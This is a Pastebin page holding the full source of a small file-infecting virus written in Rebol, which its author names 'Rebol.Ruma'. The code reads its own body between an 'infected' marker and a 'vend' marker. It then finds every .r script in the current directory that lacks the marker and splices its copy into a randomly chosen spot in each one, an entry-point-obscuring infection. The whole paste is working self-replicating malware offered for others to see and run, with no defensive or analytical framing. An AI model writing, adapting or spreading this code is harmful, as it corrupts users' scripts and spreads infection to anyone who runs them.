SHARE
TWEET

Ruma

a guest Jun 4th, 2015 359 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;It's been a while, but I decided to make a small virus for LIP http://spth.virii.lu/LIP.html
  2. ;The virus uses the EPO method to infect .r files in the current directory, inserting itself inside function blocks.
  3. ;I shall name it ... Rebol.Ruma (Ruma means ugly in Finnish) I can safely say I will never use Rebol again!
  4. ;Author: Genetix (MitterAngel)
  5.  
  6. ; infected
  7. start-read: 0
  8. file-dir: what-dir
  9. script: system/options/script
  10. virlines: read/lines script
  11. vircode: []
  12. foreach line virlines [
  13.     if find line "infected" [ start-read: 1 ]
  14.     if start-read = 1 [
  15.        append vircode line
  16.        if find line join "ve" "nd" [ break ]
  17.     ]
  18. ]
  19. foreach file load file-dir [
  20.     if %.r = suffix? file [
  21.        func-count: 0
  22.        if not find read/string file "infected" [
  23.           entry-count: 0
  24.           entrypoint: 0
  25.           new-code: []
  26.           line-count: 0
  27.           foreach ep read/lines file [
  28.              ++ func-count
  29.              if find ep "func" [
  30.                 entry-count: func-count
  31.              ]
  32.           ]
  33.           random/seed now
  34.           entrypoint: random entry-count
  35.           foreach line read/lines file [
  36.              ++ line-count
  37.              append new-code line
  38.              if line-count = entrypoint [
  39.                append new-code vircode
  40.              ]
  41.           ]
  42.           write/lines file new-code
  43.           clear new-code
  44.        ]
  45.     ]
  46. ]
  47. ; vend
RAW Paste Data
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top